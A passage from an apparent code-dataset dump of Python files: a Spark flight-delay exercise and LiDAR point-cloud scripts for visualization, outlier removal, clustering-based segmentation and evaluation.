)\nweekEndFlights.count()\n# 26092\n\n\n#Q1 Find a list of Origin Airports\n\n\n#Q2 Find a list of (Origin, Destination) pairs\n\n\n#Q3 Find the Origin airport which had the largest departure delay in the month of January\n\n\n#Q4 Find out which carrier has the largest delay on Weekends. \n\n\n#Q5 Which airport has the most cancellation of flights?\n\n\n#Q6 Find the percent of flights cancelled for each carrier.\n\n\n#Q7 Find the largest departure delay for each carrier\n\n\n#Q8 Find the largest departure delay for each carrier for each month\n\n\n#Q9 For each carrier find the average Departure delay \n\n\n#Q10 For each carrier find the average Departure delay for each month\n\n\n\n#Q11 Which date of year has the highest rate of flight cancellations?\n# Rate of flight cancellation is calculated by deviding number of canceled flights by total number of flights.\n\n\n#Q12 Calculate the number of flights to each destination state\n# For each carrier, for which state do they have the largest average delay? \n# You will need the airline and airport data sets for this question. \n\n# AirLine dataset https://s3.amazonaws.com/metcs777/airlines.csv or s3://metcs777/airlines.csv\n# Airport dataset https://s3.amazonaws.com/metcs777/airports.csv or s3://metcs777/airports.csv \n\n\n\n\n# add your own questions. \n\n\n\n\n\n\n\n\n", "id": "12849834", "language": "Python", "matching_score": 0.2791122496128082, "max_stars_count": 32, "path": "Spark-Example-FlightsData/flights_example.py" }, { "content": "#!/usr/bin/python3\n\n\"\"\"\n@author: samba\n\"\"\"\nimport pandas\nimport numpy as np\nimport sys\nfrom plotly.offline import plot\nimport plotly.plotly as py\nimport plotly.graph_objs as go\nfrom datetime import datetime\n\nif __name__ == \"__main__\":\n # Checking the number of arguments\n if len(sys.argv)!=2:\n print(\"Usage: python3 pointCloudsFromXYZ.py <path_to_directory_of_csv file> or ./pointCloudsFromXYZ.py <path_to_directory_of_csv>\",file=sys.stderr)\n exit(-1)\n \n # Path to the file\n directory_path = sys.argv[1]\n if directory_path[-1]=='/':\n directory_path = directory_path[:-1]\n \n file_path = directory_path+'/in.csv'\n \n '''\n Creating the visualizations for 50 objects all at a time\n '''\n giant_df = pandas.DataFrame(columns=['lz','X','Y','Z','radiusSquare','radius','freq'])\n # Reading in the data for one scene at a time\n for j in range(50):\n starting = datetime.now()\n df = pandas.read_csv(file_path,usecols=[1,2,3,4],skiprows=j*72000,nrows=72000,names=[\"lz\",\"X\",\"Y\", \"Z\"])\n df['radiusSquare'] = df['X']*df['X']+df['Y']*df['Y']+df['Z']*df['Z']\n df['radius'] = np.sqrt(df['radiusSquare']).round(1)\n df['freq'] = df.groupby(['lz','radius'])['radius'].transform('count')\n for i in range(64):\n maxfreq = df[(df['lz']==i) & (df['radius']!=0)]['freq'].max()\n while maxfreq>100:\n df.drop(df[(df['lz']==i) & (df['freq']==maxfreq)].index,inplace=True)\n maxfreq = df[(df['lz']==i) & (df['radius']!=0)]['freq'].max()\n df.drop(df[(df['lz']==i) & (df['radius']==0)].index,inplace=True)\n print('{} scene time taken for removing noise = {}'.format(j,datetime.now()-starting))\n giant_df = giant_df.append(df)\n # Creating the tuples\n x = tuple(giant_df['X'].tolist())\n y = tuple(giant_df['Y'].tolist())\n z = tuple(giant_df['Z'].tolist())\n\n # Creating the 3d mesh\n trace = go.Scatter3d(x=x,y=y,z=z,mode='markers',marker=dict(color='rgb(0, 0, 0)',size=2,opacity=0.6))\n data = [trace]\n \n # Remove the points which is not representing an object\n\n # plot the points on 3d plot and saving it.\n plot(data,filename=directory_path[directory_path.rfind('/')+1:]+'{}.html'.format(j),auto_open=False,show_link=False)", "id": "12235453", "language": "Python", "matching_score": 5.7962646484375, "max_stars_count": 0, "path": "src/visualization/SingleObject50ScencesPlot.py" }, { "content": "#!/usr/bin/python3\n\n\"\"\"\n@author: samba\n\"\"\"\nimport pandas\nimport sys\nfrom plotly.offline import plot\nimport plotly.plotly as py\nimport plotly.graph_objs as go\n\nif __name__ == \"__main__\":\n # Checking the number of arguments\n if len(sys.argv)!=2:\n print(\"Usage: python3 pointCloudsFromXYZ.py <path_to_directory_of_csv file> or ./pointCloudsFromXYZ.py <path_to_directory_of_csv>\",file=sys.stderr)\n exit(-1)\n \n # Path to the file\n directory_path = sys.argv[1]\n if directory_path[-1]=='/':\n directory_path = directory_path[:-1]\n \n file_path = directory_path+'/in.csv'\n \n '''\n Creating the visualizations for 50 objects one at a time\n '''\n # Reading in the data for one scene at a time\n for i in range(50):\n df = pandas.read_csv(file_path,usecols=[2,3,4],skiprows=i*72000,nrows=72000,names=[\"X\",\"Y\", \"Z\"])\n \n # Creating the tuples\n x = tuple(df['X'].tolist())\n y = tuple(df['Y'].tolist())\n z = tuple(df['Z'].tolist())\n\n # Creating the 3d mesh\n trace = go.Scatter3d(x=x,y=y,z=z,mode='markers',marker=dict(color='rgb(0, 0, 0)',size=2,opacity=0.6))\n data = [trace]\n \n # Remove the points which is not representing an object\n\n # plot the points on 3d plot and saving it.\n plot(data,filename=directory_path[directory_path.rfind('/')+1:]+'{}.html'.format(i),auto_open=False,show_link=False)", "id": "2687534", "language": "Python", "matching_score": 4.634422302246094, "max_stars_count": 0, "path": "src/visualization/pointCloudsFromXYZ.py" }, { "content": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jan 28 01:17:59 2019\n\n@author: saeed\n\"\"\"\n\n\nimport pandas\nimport sys\nfrom plotly.offline import plot\nimport plotly.plotly as py\nimport plotly.graph_objs as go\n\nif __name__ == \"__main__\":\n Checking the number of arguments\n if len(sys.argv)!=2:\n print(\"Usage: python3 pointCloudsFromXYZ.py <path_to_directory_of_csv file> or ./pointCloudsFromXYZ.py <path_to_directory_of_csv>\",file=sys.stderr)\n exit(-1)\n \n # Path to the file\n \n directory_path =sys.argv[1]\n if directory_path[-1]=='/':\n directory_path = directory_path[:-1] \n \n file_path = directory_path+'/in.csv'\n \n '''\n Creating the visualizations for 50 objects one at a time\n '''\n \n \n objectpoints=pandas.DataFrame(columns = [\"POS\",\"LaserID\",\"X\",\"Y\", \"Z\"]) \n # Reading in the data for one scene at a time\n for i in range(50): \n df = pandas.read_csv(file_path,skiprows=i*72000,nrows=72000,names=[\"POS\",\"LaserID\",\"X\",\"Y\", \"Z\"])\n sdf=pandas.DataFrame(columns = [\"POS\",\"LaserID\",\"X\",\"Y\", \"Z\"]) \n #Find Radius for each laser\n for l in range(64):\n laserdata=df[df[\"LaserID\"]==l] \n radius=laserdata[\"X\"].max();\n sdf=sdf.append(laserdata[(laserdata[\"X\"]**2+laserdata[\"Z\"]**2)<radius**2-0.5])\n sdf[\"X\"]=sdf[\"X\"]+i*240\n objectpoints= objectpoints.append(sdf) \n objectpoints=objectpoints[objectpoints[\"Y\"]>=-2.057423]\n # Creating the 3d mesh\n trace = go.Scatter(x=objectpoints[\"X\"],y=objectpoints[\"Y\"],mode='markers',marker=dict(color='rgb(0, 0, 0)',size=5,opacity=1))\n #trace = go.Scatter3d(x=objectpoints[\"X\"],y=objectpoints[\"Y\"],z=objectpoints[\"Z\"],mode='markers',marker=dict(color='rgb(0, 0, 0)',size=2,opacity=0.6))\n data = [trace] \n\n # plot the points on 3d plot and saving it.\n plot(data,filename=directory_path[directory_path.rfind('/')+1:]+'{}.html'.format(i),auto_open=False,show_link=False)\n \n \n\n", "id": "4334734", "language": "Python", "matching_score": 0.48370906710624695, "max_stars_count": 0, "path": "src/visualization/VisualizationOnlyObjectpoints2D.py" }, { "content": "\"\"\"\nNote: Implemented with old implementation of remove_outliers.\n\"\"\"\n# packages\nimport sys\nimport os\nimport numpy as np\n\nsys.path.insert(0, os.path.abspath(\"../src\"))\nfrom plugin.seg import remove_outliers, helper_object_points\nfrom utils.data_prep import read_file, get_outliers\nimport math\nimport matplotlib.pyplot as plt\n\ndef plot_g(x,y,xlim,ylim,filename=None,point=None,title=None,c=False,centroid=False):\n \"\"\" Plot the points using matplotlib.\n params: x = x points\n y = y points\n xlim = (x_max,x_min) xrange limits for plots\n ylim = (y_max,y_min) yrange limits for plots\n c = colors if avaliable else False\n centroid = centre point (lidar position)\n return: plot is plotted\n \"\"\"\n fig = plt.figure(figsize=(20, 20), dpi= 80, facecolor='w', edgecolor='k')\n if title:\n fig.suptitle(title, fontsize=20)\n plt.xlabel('x axis', fontsize=18)\n plt.ylabel('z axis', fontsize=16)\n ax = fig.gca()\n if c:\n plt.scatter(x, y, s=4, c=c)\n else:\n plt.scatter(x, y, s=4)\n if centroid:\n plt.scatter(0, 0, s=400, c=\"red\")\n plt.grid()\n \n if point:\n for p in point:\n endy = 40 * math.sin(math.radians(p))\n endx = 40 * math.cos(math.radians(p))\n plt.plot([0, endx], [0, endy])\n plt.xlim(xlim[0], xlim[1])\n plt.ylim(ylim[0], ylim[1])\n if filename:\n fig.savefig(filename)\n else:\n plt.show()\n\n\ndef get_data(object_type,object,num_scenes):\n \"\"\" Load the data from dataset and apply ground removal and outlinear removal.\n params: object_type = train or test \n object = Name of the object\n return: dataframe of the data\n \"\"\"\n dataset_dir = \"../src/dataset/train\"\n # Create the outliers\n get_outliers(dataset_dir)\n # Creating the path for the object\n object_path = \"../{}/{}/in.csv\".format(\"src/dataset/{}\".format(object_type), object)\n # read in the object of choice\n dataframes = read_file(object_path, num_scenes)\n # remove the outliers\n no_outliers = remove_outliers(dataframes, num_scenes, '../src/ssh-kd/data/outliers.pkl')\n # get the object points\n return no_outliers\n\n\n# calculating degree\ncalDegrees=lambda x : round(math.degrees(math.atan(x)), 1)\nvfunc = np.vectorize(calDegrees)\ndef tang(x,y):\n \"\"\" Get Tan inverse of y/x to get the angle.\"\"\"\n tag= np.divide(y, x)\n return tag\n\n\ndef get_degrees(c):\n \"\"\" Get the degree for the data based upon cordinate plane.\n Tan behaviour in cordinate system.\n 1st cord: theta\n 2nd cord: 180+theta\n 3rd cord: 180+theta\n 4th cord: 360-theta\n return: degree of dataframe rows\n \"\"\"\n degrees = vfunc(tang(c['X'],c['Z']))\n if (c['X']<0 and c['Z']>0):\n degrees = 180+degrees\n if (c['X']<0 and c['Z']<0):\n degrees = 180+degrees\n if (c['X']>0 and c['Z']<0):\n degrees = 360+degrees\n return degrees\n\n\ndef angle_of_elevation(x,y,z):\n \"\"\"Get Tan inverse of y/sqrt(x^2+z^2) to get the angle\"\"\"\n den = math.sqrt(x**2+z**2)\n etan= np.divide(y,den)\n return etan \n\n\ndef get_phi(c):\n \"\"\" Get the degree for the data based upon cordinate plane.\n return: degree of dataframe rows\n \"\"\"\n phi = vfunc(angle_of_elevation(c['X'],c['Y'],c['Z']))\n phi = 90-phi\n return phi\n\n\ndef get_r(x,y,z):\n \"\"\"Get density r\"\"\"\n den = x**2+z**2\n return den \n\ndef get_den(c):\n r = get_r(c['X'],c['Y'],c['Z'])\n return r\n\n\ndef stock_sectors(degr, stock,interval = 1.1):\n \"\"\" Split the degree in sectors based upon on the gap.\n params: degr=sorted list of unqiue degrees\n stock=List which contains the ranges of degree of a sector\n interval=step range of degree for look up \n return stock=list contain the ranges of degree of a sector\n \"\"\"\n sector= [degr[0]]\n for i in range(1, len(degr)):\n if degr[i]-degr[i-1]>interval:\n stock.append(sector)\n sector = []\n sector.append(degr[i])\n stock.append(sector)\n return stock\n\n\nfor dir_ in os.listdir('../src/dataset/test'): \n # Experiment with Test data \n if dir_ == 'Set2':\n num_scenes = 500\n else:\n num_scenes = 50\n no_outliers = get_data(\"test\", dir_, num_scenes=num_scenes)\n # Get the data for a scene - 6\n for each_scn in range(len(no_outliers)):\n scene_df = helper_object_points(no_outliers[each_scn], 4)\n try:\n os.makedirs('../sectors/'+dir_+'/')\n except:\n pass\n\n plot_g(scene_df['X'],scene_df['Z'],(-25,25),(-25,25),title='{} Scene {}'.format(dir_ ,each_scn),filename='../sectors/'+dir_+'/'+str(each_scn)+'.png',centroid=True)\n\n # Using Dataframe apply, a func is run on dataframe, pass the datafram to get_degrees\n scene_df['angles'] = scene_df.apply(get_degrees,axis=1)\n# scene_df['phi'] = scene_df.apply(get_phi,axis=1)\n# scene_df['r'] = scene_df.apply(get_den,axis=1)\n try:\n os.makedirs('../sector/'+dir_+'/')\n except:\n pass\n\n # convert the numpy array in list\n deg = [float(d) for d in scene_df['angles']]\n s = []\n # apply the sorting\n sorted_degrees = sorted(list(set(deg)))\n # apply the stock_sector for breaking the sectors\n s = stock_sectors(sorted_degrees,s)\n print(\"Number of sectors:\",len(s))\n\n point = []\n for i, each_s in enumerate(s):\n# print(max(each_s), min(each_s))\n point.append(max(each_s))\n point.append(min(each_s))\n \n plot_g(scene_df['X'],scene_df['Z'],(-25,25),(-25,25),title='{} Scene {}'.format(dir_ ,each_scn),filename='../sector/'+dir_+'/'+str(each_scn)+'.png', point=point,centroid=True)\n \n", "id": "1567919", "language": "Python", "matching_score": 6.102527618408203, "max_stars_count": 0, "path": "presentation/images/sector-visual.py" }, { "content": "\"\"\"\nNote: Implemented with old implementation of remove_outliers.\n\"\"\"\n# packages\nimport sys\nimport os\nimport numpy as np\n\nsys.path.insert(0, os.path.abspath(\"../src/ssh-kd\"))\nfrom plugin.seg import remove_outliers, helper_object_points\nfrom utils.data_prep import read_file, get_outliers\n\n\n# hidding the warnings\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# Clustering\nfrom sklearn.cluster import DBSCAN\n\n\nimport matplotlib.pyplot as plt\ndef plot_g(x,y,xlim,ylim,filename,c=False,centroid=False):\n \"\"\" Plot the points using matplotlib.\n params: x = x points\n y = y points\n xlim = (x_max,x_min) xrange limits for plots\n ylim = (y_max,y_min) yrange limits for plots\n c = colors if avaliable else False\n centroid = centre point (lidar position)\n return: plot is plotted\n \"\"\"\n fig = plt.figure(figsize=(20, 20), dpi= 80, facecolor='w', edgecolor='k')\n ax = fig.gca()\n if c:\n plt.scatter(x, y, s=4, c=c)\n else:\n plt.scatter(x, y, s=4)\n if centroid:\n plt.scatter(0, 0, s=400, c=\"red\")\n plt.grid()\n \n plt.xlim(xlim[0], xlim[1])\n plt.ylim(ylim[0], ylim[1])\n# plt.show()\n plt.savefig(filename)\n \n\ndef _cluster(X_):\n \"\"\" cluster using dbscan.\n params: X_ = list of x,y point\n return: lables\n \"\"\"\n clustering = DBSCAN(eps=1, min_samples=8).fit(X_)\n labels = clustering.labels_\n return labels\n\ndef format_data(df):\n \"\"\" format data for cluster input.\n params: df = dataframe with transform _x,_y\n return: numpy array of x,y point\n \"\"\"\n return np.array(list(zip(np.array(df[\"_x\"]),np.array(df[\"_y\"]))))\n\ndef normalize(df):\n \"\"\" Normalize the point using min_max normalizer.\n params: df = dataframe with transform _x,_y\n return: df with normalized _x,_y points\n \"\"\"\n df['_x'] = (df['_x']-df['_x'].min())/(df['_x'].max()-df['_x'].min())\n df['_y'] = (df['_y']-df['_y'].min())/(df['_y'].max()-df['_y'].min())\n return df\n\ndef project(df, d, view):\n \"\"\" Project with prespective projections.\n formula: x' = x*d/z\n y' = y*d/z\n params: df = dataframe with with x,y,z points\n d = distance of prespective projection\n view = w.r.t X , w.r.t Z\n return: df with transformed _x,_y points in df\n \"\"\"\n v= \"X\" if view == \"X\" else \"Z\"\n z= \"X\" if view == \"Z\" else \"Z\"\n df['_x'] = ((df[z]/df[v])*d)\n df['_y'] = ((df['Y']/df[v])*d)\n return df\n\ndef get_data(object_type,object,num_scenes):\n \"\"\" Load the data from dataset and apply ground removal and outlinear removal.\n params: object_type = train or test \n object = Name of the object\n return: dataframe of the data\n \"\"\"\n dataset_dir = \"../src/dataset/train\"\n # Create the outliers\n get_outliers(dataset_dir)\n # Creating the path for the object\n object_path = \"../{}/{}/in.csv\".format(\"src/dataset/{}\".format(object_type), object)\n # read in the object of choice\n dataframes = read_file(object_path, num_scenes)\n # remove the outliers\n no_outliers = remove_outliers(dataframes, num_scenes, '../src/ssh-kd/data/outliers.pkl')\n # get the object points\n return no_outliers\n\n\nif __name__==\"__main__\":\n for dir_ in os.listdir('../src/dataset/train): \n # Experimenting with train data'\n no_outliers = get_data(\"train\",dir_, num_scenes=50)\n for each_scn in range(len(no_outliers)):\n # Get Each scene and work on it, scene selected 6\n scene_df = helper_object_points(no_outliers[each_scn], 4)\n # Apply projection\n proj_df = project(scene_df, 5,view=\"Z\")\n # Apply normalization \n proj_df = normalize(proj_df)\n # Plot the transformation\n try:\n os.makedirs('../src/projection/'+dir_+'/')\n except:\n pass\n plot_g(7*proj_df['_x'],3*proj_df['_y'],(-35,35),(-15,15),'../src/projection/'+dir_+'/'+str(each_scn)+'.png')", "id": "12007891", "language": "Python", "matching_score": 2.188448667526245, "max_stars_count": 0, "path": "presentation/images/projection-visuals.py" }, { "content": "# Packages\nimport pandas as pd\nimport numpy as np\nimport random\nfrom sklearn.cluster import KMeans\n\n# ToDo: optimize this function by storing the below lists of max and min radius and by considering only up certain laser number. \ndef remove_outliers(dataframes, number_of_scenes=1, path_to_pkl=\"../outliers.pkl\"):\n \"\"\"Takes 0.36 sec to remove the outliers in each scene,Function to remove outliers\"\"\" \n object_points = []\n outliers = pd.read_pickle(path_to_pkl)\n max_rad = []\n min_rad = []\n for i in range(64):\n max_rad.append(outliers[outliers[\"lz\"] == i][\"max\"].tolist()[0])\n min_rad.append(outliers[outliers[\"lz\"] == i][\"min\"].tolist()[0])\n\n for i in range(number_of_scenes):\n df = dataframes[i]\n df[\"radius\"] = df.X.pow(2).add(df.Y.pow(2).add(df.Z.pow(2))).pow(0.5).round(1)\n df.drop(df[df[\"radius\"] == 0].index, inplace=True)\n temp_out = pd.DataFrame()\n for j in range(64):\n dummy_df = df[df[\"laser_id\"] == j]\n bool_vec = ~(\n (dummy_df[\"radius\"] <= max_rad[j]) & (dummy_df[\"radius\"] >= min_rad[j])\n )\n temp_out = temp_out.append(dummy_df[bool_vec])\n object_points.append(temp_out)\n\n return object_points\n\n\ndef helper_object_points(object_points, num_clusters):\n \"\"\"Helper function to just return the object points by removing the \"\"\"\n\n # cluster the points and get the labels\n kmeans_model = KMeans(n_clusters=num_clusters, random_state=1).fit(object_points)\n object_points[\"labels\"] = kmeans_model.labels_\n\n # use the labels to slice the points and return the object points\n object_points = object_points[\n object_points[\"labels\"] == object_points.labels.mode()[0]\n ]\n return object_points\n\n\n# TODO: think to remove this function\ndef max_min(obj_data, img_length, img_height, view):\n \"\"\"\n This function fits the points into the constant scale by calculating the x_max, x_min and y_max and y_min\n This works only for XY view or ZY view\n \"\"\"\n # Lists to return which will help in plotting and collecting the data with in this range for the CNN\n x_max = []\n x_min = []\n y_max = []\n y_min = []\n\n ## going through each scene\n for i in obj_data:\n\n # using the mean to calculate the y_max and y_min\n y_mean = i[\"Y\"].mean()\n first, second = generate_random(img_height)\n\n # Appending the max and min values\n y_max.append(y_mean + first)\n y_min.append(y_mean - second)\n\n # if the view is XY calcualte for X\n if view == 2:\n\n # using the mean to calculate the y_max and y_min\n x_mean = i[\"X\"].mean()\n first, second = generate_random(img_length)\n\n # Appending the max and min values\n x_max.append(x_mean + first)\n x_min.append(x_mean - second)\n\n # if the view is for ZY calcuate for Z\n elif view == 3:\n\n # using the mean to calculate the y_max and y_min\n z_mean = i[\"Z\"].mean()\n first, second = generate_random(img_length)\n\n # Appending the max and min values\n x_max.append(z_mean + first)\n x_min.append(z_mean - second)\n\n return x_max, x_min, y_max, y_min\n\n\n# TODO: think to remove this function\ndef generate_random(residual):\n \"\"\"\n Helper function for max_min to generate random numbers\n \"\"\"\n if residual < 0:\n return 0, 0\n first = random.randint(1, 20)\n sec = random.randint(1, 20)\n tot = float(first + sec)\n return (first * residual / tot, sec * residual / tot)\n", "id": "3320492", "language": "Python", "matching_score": 5.641412258148193, "max_stars_count": 0, "path": "src/starter-code/grouping.py" }, { "content": "# Packages\nimport pandas as pd\nimport numpy as np\nimport random\nfrom sklearn.cluster import KMeans, DBSCAN, MeanShift\n\ndef remove_outliers(dataframes, number_of_scenes=1, path_to_pkl=\"data/outliers.pkl\"):\n \"\"\"Takes 0.18 sec to remove the outliers in each scene,Function to remove outliers\"\"\"\n pd.options.mode.chained_assignment = None\n object_points = []\n outliers = pd.read_pickle(path_to_pkl)\n max_rad = outliers[0]\n min_rad = outliers[1]\n\n for i in range(number_of_scenes):\n\n df = dataframes[i]\n df.drop(columns=['laser_id'],inplace=True)\n df = df.to_numpy()\n rad = np.round(np.sqrt(df[:,0]**2+df[:,1]**2+df[:,2]**2),1)\n df = np.hstack([df,rad.reshape(-1,1)])\n bool_vec = (rad <= max_rad) & (rad >= min_rad)\n df = df[~bool_vec]\n # df = df[(df[:,1]<=10)]\n df = df[~(df[:,3]==0)]\n # bool_vec1 = (df[:,0]==0) & (df[:,2]==0)\n # df = df[~bool_vec1]\n object_points.append(df)\n\n return object_points\n\n\ndef helper_object_points(object_points, num_clusters):\n \"\"\"Helper function to just return the object points by removing the \"\"\"\n\n # cluster the points and get the labels\n kmeans_model = KMeans(n_clusters=num_clusters, random_state=1).fit(object_points)\n object_points[\"labels\"] = kmeans_model.labels_\n\n # use the labels to slice the points and return the object points\n object_points = object_points[\n object_points[\"labels\"] == object_points.labels.mode()[0]\n ]\n return object_points\n\n\ndef max_min(obj_data, img_length, img_height, view):\n \"\"\"\n This function fits the points into the constant scale by calculating the x_max, x_min and y_max and y_min\n This works only for XY view or ZY view\n \"\"\"\n # Lists to return which will help in plotting and collecting the data with in this range for the CNN\n x_max = []\n x_min = []\n y_max = []\n y_min = []\n\n ## going through each scene\n for i in obj_data:\n\n # using the mean to calculate the y_max and y_min\n y_mean = i[1].mean()\n first, second = generate_random(img_height)\n\n # Appending the max and min values\n y_max.append(y_mean + first)\n y_min.append(y_mean - second)\n\n # if the view is XY calcualte for X\n if view == 2:\n\n # using the mean to calculate the y_max and y_min\n x_mean = i[0].mean()\n first, second = generate_random(img_length)\n\n # Appending the max and min values\n x_max.append(x_mean + first)\n x_min.append(x_mean - second)\n\n # if the view is for ZY calcuate for Z\n elif view == 3:\n\n # using the mean to calculate the y_max and y_min\n z_mean = i[\"Z\"].mean()\n first, second = generate_random(img_length)\n\n # Appending the max and min values\n x_max.append(z_mean + first)\n x_min.append(z_mean - second)\n\n return x_max, x_min, y_max, y_min\n\n\ndef generate_random(residual):\n \"\"\"\n Helper function for max_min to generate random numbers\n \"\"\"\n if residual < 0:\n return 0, 0\n first = random.randint(1, 20)\n sec = random.randint(1, 20)\n tot = float(first + sec)\n return first * residual / tot, sec * residual / tot\n\n\n# Using the DB Scan of scikit learn for segmenting the data, take in the dataframe and return the labeled_df\n# This DB scan is sensitive to starting point\n# Come up with another idea\ndef segmentation(data, db_scan=True):\n if db_scan:\n # eps=2, min_sample=20 acc = 541335754464439\n clustering = DBSCAN(eps=2, min_samples=20).fit(data)\n labels = clustering.labels_\n else:\n clustering = MeanShift(bandwidth=2, bin_seeding=True, cluster_all=False, min_bin_freq=19, n_jobs=None, seeds=None).fit(data)\n labels = clustering.labels_\n\n return labels\n\n\n# Try to use the top view to reduce the computation\ndef prepare_data(data_frame):\n\n labels = segmentation(\n np.array(\n list(\n zip(\n data_frame[:,0],\n data_frame[:,1],\n data_frame[:,2]\n )\n )\n ),\n True\n )\n \n data_frame = np.hstack([data_frame, np.array(labels).reshape(-1,1)])\n\n return data_frame\n\n\n# Extract the points of the clusters\ndef list_of_objects(dataframe):\n\n num_of_objects = np.unique(dataframe[:,4]).shape[0]-1\n list_objects = []\n for i in range(num_of_objects):\n list_objects.append(dataframe[dataframe[:,4] == i])\n\n return list_objects\n", "id": "9204748", "language": "Python", "matching_score": 2.711606025695801, "max_stars_count": 0, "path": "src/ssh-kd/plugin/seg.py" }, { "content": "import time\nimport pandas as pd\nimport numpy as np\nimport os, sys\n\nsys.path.insert(0, os.path.abspath(\"..\")) # path hack\nfrom sklearn.cluster import DBSCAN, MeanShift, MiniBatchKMeans, KMeans\nfrom utils.data_prep import read_file\nfrom plugin.seg import remove_outliers\n\n# DBSCAN\ndef dbscan_seg(data_frame):\n clustering = DBSCAN(eps=1,min_samples=16).fit(data_frame)\n return len(np.unique(clustering.labels_))-1\n\n# MeanShift\ndef meanshift_seg(data_frame):\n clustering = MeanShift(bandwidth=2, bin_seeding=True, cluster_all=False, min_bin_freq=19, n_jobs=None, seeds=None).fit(data_frame)\n return len(np.unique(clustering.labels_))\n\n# MiniBatchKMeans\ndef minibatch_seg(data, min_cluster_number=10, max_cluster_number=50, Elbow_ratio = 1.02):\n\n Sum_of_squared_distances = []\n\n for k in range(min_cluster_number, max_cluster_number):\n if(data.shape[0] <= k):\n break\n km = MiniBatchKMeans(n_clusters=k, batch_size=int(np.size(data,0) * 1), max_iter=100, random_state=0)\n km = km.fit(data)\n Sum_of_squared_distances.append(km.inertia_)\n\n numberOfClusters = 1\n for i in range(1, len(Sum_of_squared_distances)):\n ratio=float((Sum_of_squared_distances[i-1])/Sum_of_squared_distances[i])\n # elbow ratio is an important parameter. \n if(ratio < Elbow_ratio):\n numberOfClusters=i+1\n break\n # final run with large iterations \n km = KMeans(n_clusters=numberOfClusters, max_iter=100, random_state=0)\n km = km.fit(data)\n \n return numberOfClusters\n\n# KMeans\ndef kmeans_seg(data_frame):\n pass\n\n# Count the number of actual clusters\ndef load_output(file_path):\n outfile = open(file_path, 'r').readlines()\n outfile = [i.rstrip() for i in outfile]\n outfile = [i.split(',') for i in outfile]\n outfile = [i[1:] for i in outfile]\n\n out_cluster = []\n for i in outfile:\n sum1=0\n for j in range(0,len(i),2):\n sum1+=int(i[j+1])\n out_cluster.append(sum1)\n \n return out_cluster\n\ndef cal_accuracy(pred,original):\n error = np.array(pred)-np.array(original)\n rms = np.sum(error**2)/len(error)\n return rms\n\n# main\ndef main():\n \n # read in the data frames\n # dataframes = read_file(\"../../dataset/test/debs2019_dataset2/in.csv\")\n\n # remove outliers \n # no_out = remove_outliers(dataframes,path_to_pkl=\"../data/outliers.pkl\") # returns the list of numpy arrays\n \n # read in the number of clusters\n print(\"yes\")\n out_clusters = load_output(\"../../dataset/set1/out.csv\")\n print(\"yes\")\n # record the time\n db_time = 0\n mean_time = 0\n mini_time = 0\n kmeans_time = 0\n\n # record the accuracy by comparing the number of clusters\n db_pred = []\n mean_pred = []\n mini_pred = []\n kmean_pred = []\n\n for j in range(100):\n print(j)\n i = pd.read_csv(\"../../dataset/set1/in.csv\",skiprows = j*72000, nrows = 72000,usecols=[1,2,3,4],names=['laser_id','X','Y','Z'])\n i = remove_outliers([i],path_to_pkl=\"../data/outliers.pkl\")[0]\n start = time.time()\n db_clusters = dbscan_seg(i)\n end = time.time()\n db_pred.append(db_clusters)\n db_time+=end-start\n\n start = time.time()\n mean_clusters = meanshift_seg(i)\n end = time.time()\n mean_pred.append(mean_clusters)\n mean_time+=end-start\n\n start = time.time()\n mini_clusters= minibatch_seg(i)\n end = time.time()\n mini_pred.append(mini_clusters)\n mini_time+=end-start\n\n # start = time.time()\n # kmeans_clusters = kmeans_seg()\n # end = time.time()\n # kmean_pred.append(kmeans_clusters)\n # kmeans_time+=end-start\n \n # Calculate the accuracy for each technique used\n db_acc = cal_accuracy(db_pred,out_clusters)\n mean_acc = cal_accuracy(mean_pred,out_clusters)\n mini_acc = cal_accuracy(mini_pred,out_clusters)\n # kmean_acc = cal_accuracy(kmean_pred,out_clusters)\n\n # write the calculated results to a file\n output = {'Method':['DBSCAN','MeanShift','MiniBatchKMeans'],\n 'Time':[db_time,mean_time,mini_time],\n 'Error':[db_acc,mean_acc,mini_acc]}\n\n df = pd.DataFrame(output)\n df.to_csv('seg_eval.csv')\n\nif __name__ == \"__main__\":\n main()\n", "id": "5646978", "language": "Python", "matching_score": 2.391636371612549, "max_stars_count": 0, "path": "src/ssh-kd/utils/seg_metrics.py" }, { "content": "#!/usr/bin/env python3\nimport os\nfrom datetime import datetime\n\nfrom plugin.load_model import load_graph, return_prediction, object_names_func\nfrom utils.data_prep import read_file\nfrom utils.eval import accuracy, precision, recall\n\ndef format_output(output_path):\n\n # Read in the output to be predicted\n out_file = open(output_path, 'r').readlines()\n outfile = [i.rstrip() for i in out_file]\n outfile = [i.split(',') for i in outfile]\n outfile = [i[1:] for i in outfile]\n\n outfile_list = []\n\n for i in outfile:\n a = {}\n for j in range(0,len(i),2):\n a[i[j]] = int(i[j+1])\n outfile_list.append(a)\n\n return outfile_list\n\ndef test(proj=False, proj_type=None, segment_type = False):\n # Creating the session\n session, img_length, img_height, y_pred_cls, x, weights1, weights2, conv1, conv2 = load_graph(layers=True, path_to_model=\"model/two_d_cnn_proj.ckpt\")\n object_names = object_names_func()\n\n # Folder names\n dataset_dir = \"../dataset/test/\"\n actual_output = []\n pred_output = []\n \n # Checking the total time for testing\n start_time = datetime.now()\n\n for _set in os.listdir(dataset_dir):\n \n if os.path.isdir(os.path.join(dataset_dir,_set)):\n\n infile_path = os.path.join(dataset_dir, \"{}/in.csv\".format(_set))\n outfile_path = os.path.join(dataset_dir, \"{}/out.csv\".format(_set))\n\n # Read in the test data\n data_frames = read_file(infile_path)\n actual_output = actual_output + format_output(outfile_path)\n \n for reconstructed_scene in data_frames:\n result = return_prediction(\n reconstructed_scene,\n session,\n object_names,\n img_length,\n img_height,\n y_pred_cls,\n x,\n proj,\n proj_type,\n segment_type\n )\n pred_output.append(result)\n \n return actual_output, pred_output, datetime.now()-start_time\n\ndef metrics(actual_output, pred_output):\n \n # variables to return\n acc = 0\n acc_dict = {'avg':0, 'score':0,'zero':0}\n prec = 0\n reca = 0\n\n for i,j in zip(actual_output, pred_output):\n temp = accuracy(i,j)\n acc = acc + temp[0]\n acc_dict[temp[1]]+=1\n prec = prec + precision(i,j)\n reca = reca + recall(i,j)\n \n return acc, prec, reca, acc_dict\n\n\nif __name__ == \"__main__\":\n \n proj = True\n proj_type = 'perspective'\n segment_type = True\n\n if proj:\n actual, prediction, time_taken = test(proj, proj_type, segment_type)\n else:\n actual, prediction, time_taken = test()\n \n total_scenes = len(prediction) \n\n print(\"The total time taken for {} scenes = {}\".format(total_scenes, 